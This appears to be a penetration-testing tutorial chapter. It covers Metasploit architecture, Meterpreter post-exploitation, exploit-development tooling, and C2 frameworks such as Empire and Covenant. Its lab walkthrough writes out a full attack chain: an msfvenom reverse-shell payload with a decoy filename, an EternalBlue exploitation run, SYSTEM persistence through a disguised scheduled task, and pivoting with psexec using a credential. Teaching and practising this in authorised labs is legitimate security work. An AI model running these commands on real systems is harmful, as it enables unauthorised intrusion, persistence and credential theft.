Exploitation Frameworks and Controlled Payload Delivery
Metasploit Framework: Architecture and Module Ecosystem
The Metasploit Framework remains the cornerstone of controlled exploitation, not merely as a collection of exploits but as a Ruby-based development platform with strict architectural conventions. Understanding its internals separates deliberate practitioners from opportunistic tool operators.
At its core, Metasploit organizes functionality into modules: exploit modules, auxiliary modules, post modules, payload modules, encoder modules, and nop modules. Each exploit module inherits from Msf::Exploit::Remote, which itself descends from Msf::Exploit and ultimately Msf::Module. This hierarchy determines available mixin capabilities—Tcp, HttpClient, Smb, Rdp—that standardize socket handling, protocol negotiation, and target interaction.
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Example Vulnerable Service',
'Description' => %q{...},
'Author' => ['Researcher Name'],
'References' => [
['CVE', '2023-XXXXX'],
['URL', 'https://advisory.example.com']
],
'Payload' => { 'Space' => 1024 },
'Targets' => [
['Automatic Targeting', {}],
['Specific Version X.Y', { 'Ret' => 0xdeadbeef }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-01-15'
))
end
def exploit
connect
print_status("Targeting #{target.name}")
# staging, badchar avoidance, and delivery
handler
disconnect
end
end
The Msf::Exploit::Remote::Tcp mixin provides connect, disconnect, sock, and Rex::Socket::Tcp integration. The Payload hash defines constraints: available space, forbidden characters ('BadChars'), and stack adjustment requirements. Targets encapsulate return addresses, offsets, or versioning heuristics, enabling multi-version exploits through runtime selection.
Payloads divide into singles, stagers, and stages. Singles execute self-contained functionality; stagers establish lightweight listeners awaiting stage delivery; stages provide full-featured agents like Meterpreter. Encoders transform payload bytes to avoid bad characters or simple signature detection—x86/shikata_ga_nai applies dynamic xor encoding with polymorphic decoders—but their effectiveness against modern defenses requires critical examination.
Meterpreter: Post-Exploitation Architecture
Meterpreter operates as an in-memory, reflective DLL injection, never touching disk in its default configuration. Its architecture separates transport from functionality through extension loading. The stdapi extension provides filesystem, process, network, and system interaction:
meterpreter > sysinfo
Computer : LAB-WEB01
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : CORP
Logged On Users : 3
meterpreter > getpid
Current pid: 4128
meterpreter > ps | grep lsass
688 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
The extapi extension adds window enumeration, clipboard manipulation, and Active Directory query capabilities. Both load on demand via reflective DLL injection, requesting function resolution through the established transport channel—initially TCP, HTTP, HTTPS, or named pipes, later extensible through transport commands.
Network pivoting demonstrates Meterpreter's operational value. The route command establishes kernel-level forwarding through the compromised session:
meterpreter > ipconfig
...
IPv4 Address : 10.0.1.15
...
IPv4 Address : 10.50.0.5 [Internal segment]
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(handler) > route add 10.50.0.0 255.255.255.0 1
[*] Route added
msf6 exploit(handler) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.50.0.10-50
msf6 auxiliary(tcp) > set PORTS 22,445,3389,5985
msf6 auxiliary(tcp) > run
Port forwarding (portfwd) and SOCKS proxy (auxiliary/server/socks_proxy) extend this capability, creating encrypted tunnels through the Meterpreter transport. Critical security consideration: each pivot concentrates trust through a single session; session death collapses all dependent access.
Keylogging (keyscan_start, keyscan_dump) and screenshot capture (screenshot) illustrate Meterpreter's invasive potential. These capabilities require explicit ethical authorization—operating without documented consent violates computer fraud statutes regardless of technical sophistication.
Exploit Development: mona.py and Pattern Analysis
Before framework exploitation comes vulnerability analysis. The mona.py Immunity Debugger extension (compatible with WinDbg through mona.py ports) automates cyclic pattern generation, offset calculation, and ROP gadget discovery.
Pattern creation identifies exact crash offsets without manual calculation:
!mona pattern_create 3000
!mona findmsp
The pattern_create generates a non-repeating De Bruijn sequence; findmsp locates the pattern at crash time, calculating both direct EIP overwrite and controlled buffer positions. The underlying pattern_offset equivalent in Metasploit (tools/exploit/pattern_offset.rb) performs identical calculation:
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138
[*] Exact match at offset 1036
This offset precision separates reliable exploits from probabilistic crashes. Modern exploit development extends beyond offset calculation to SafeSEH, ASLR, and DEP bypass techniques—mona's !mona rop and !mona jop commands assist, though contemporary environments increasingly employ Control Flow Guard (CFG) and Arbitrary Code Guard (ACG).
Empire and Covenant: .NET and COM Tradecraft
Where Metasploit emphasizes exploit delivery, Empire and Covenant specialize in post-compromise .NET tradecraft through Windows-native execution mechanisms.
Empire (PowerShell Empire, now Starkiller/BC-Security forks) leverages reflective .NET assembly loading within PowerShell runspaces, avoiding disk-based detection. Agents communicate over HTTP/S, Dropbox, or OneDrive listeners. Its modular architecture—similar to Metasploit but PowerShell-centric—provides credential harvesting (mimikatz), process injection, and lateral movement through WMI and WinRM.
Covenant implements a C# command-and-control framework using native .NET capabilities. Grunts (agents) compile as .NET assemblies with configurable implant templates. Covenant emphasizes .NET's COM interoperability for process injection and execution, leveraging legitimate Windows components (CLSID instantiation, ICLRMetaHost) rather than suspicious API sequences.
Both frameworks illustrate living-off-the-land evolution: rather than importing foreign tools, they weaponize installed capabilities. Detection requires behavioral analysis—anomalous .JIT compilation, unexpected PowerShell runspace creation, unusual COM activation patterns—rather than file signature matching.
Staged vs. Stageless: Selection Criteria
Payload architecture selection carries operational consequences:
| Characteristic | Staged | Stageless |
|---|---|---|
| Size | Initial stager ~300-500 bytes | Complete payload, often 50KB+ |
| Network resilience | Multiple retrieval attempts possible | Single transmission; failure loses all |
| Network signature | Stager retrieval visible; stage encrypted | Complete payload potentially fingerprintable |
| Memory footprint | Grows post-staging | Constant; larger initial commitment |
| AV/EDR exposure | Stager often generic; stage may trigger | Single blob analyzable in transit |
Selection heuristics: Staged payloads suit unreliable networks and size-constrained injection contexts (buffer overflows with limited space). Stageless payloads excel in stable, high-bandwidth environments where network defenders monitor for staging retrieval patterns. Modern operations increasingly favor stageless delivery with embedded transport configuration, accepting larger initial size for reduced network chatter.
Worked Example: Controlled Lab Exploitation
The following demonstrates complete operational flow in an isolated lab environment against intentionally vulnerable systems. Never execute against production networks without explicit authorization.
Environment: Attacker (Kali, 10.0.0.5); Target (Windows Server 2008 R2, 10.0.0.10, CVE-2017-0144 vulnerable); Internal segment (10.50.0.0/24).
Payload generation with msfvenom—deliberate architecture and format specification:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=443 \
-f exe -o /var/www/html/svcupdate.exe \
-e x64/xor \
--platform windows -a x64
The -e x64/xor encoder applies XOR transformation with dynamic key; against modern EDR, this provides minimal evasion. The output serves demonstration purposes—actual operations require custom packing, API unhooking, or indirect syscalls.
Handler configuration and exploitation:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.0.0.10
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.0.0.5
msf6 exploit(ms17_010_eternalblue) > set LPORT 443
msf6 exploit(ms17_010_eternalblue) > exploit -z
[*] Started reverse TCP handler on 10.0.0.5:443
[*] 10.0.0.10:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.0.10:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.0.0.10:445 - Connecting to target for exploitation.
[+] 10.0.0.10:445 - Connection established for exploitation.
[+] 10.0.0.10:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.0.10:445 - CORE raw buffer dump (42 bytes)
...
[*] Sending stage (201798 bytes) to 10.0.0.10
[*] Meterpreter session 1 opened (10.0.0.5:443 -> 10.0.0.10:49218) at 2024-01-15 09:23:14 -0500
[*] Session 1 created in the background.
Post-exploitation: privilege verification, persistence, and pivoting:
msf6 exploit(ms17_010_eternalblue) > sessions -i 1
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps | grep explorer
2892 explorer.exe x64 1 CORP\labuser C:\Windows\explorer.exe
meterpreter > migrate 2892
[*] Migrating from 4128 to 2892...
[*] Migration completed successfully.
meterpreter > shell
C:\Windows\system32> schtasks /create /tn "WindowsSvcUpdate" /tr "C:\Users\Public\svcupdate.exe" /sc onstart /ru SYSTEM /rl HIGHEST
SUCCESS: The scheduled task "WindowsSvcUpdate" has been created.
C:\Windows\system32> exit
meterpreter > run post/windows/gather/enum_patches
[+] KB4012212 is missing
[+] KB4012215 is missing
meterpreter > ipconfig
...
IPv4 Address : 10.50.0.5
Subnet Mask : 255.255.255.0
meterpreter > background
msf6 exploit(handler) > route add 10.50.0.0 255.255.255.0 1
msf6 exploit(handler) > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set RHOSTS 10.50.0.10
msf6 exploit(psexec) > set SMBUser administrator
msf6 exploit(psexec) > set SMBPass [hash or credential]
msf6 exploit(psexec) > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 exploit(psexec) > exploit
Anti-Virus Evasion: Limitations and Modern Reality
Signature-based encoding—shikata_ga_nai, custom XOR loops, simple packers—fails against contemporary endpoint detection and response (EDR). Modern defenses operate on behavioral telemetry: memory allocation patterns, API call sequences, thread creation anomalies, and ETW (Event Tracing for Windows) subscriptions.
Encoding transforms payload appearance without altering execution behavior. A Meterpreter stager still allocates executable heap, creates sockets with suspicious characteristics, and performs reflective DLL loading—actions visible through instrumentation regardless of byte-level obfuscation.
Effective evasion requires operational discipline: legitimate parent processes, expected network destinations, normal working hours, and minimal tool use. Technical measures—API hashing, indirect syscalls, module stomping, thread pool injection—complement but cannot replace behavioral legitimacy. The arms race favors defenders with telemetry volume; attackers succeed through patience and reconnaissance, not encoding sophistication.
Practitioners must internalize this limitation. Framework exploitation provides foundational understanding; production penetration testing demands additional tradecraft layers that this guide introduces but does not fully develop.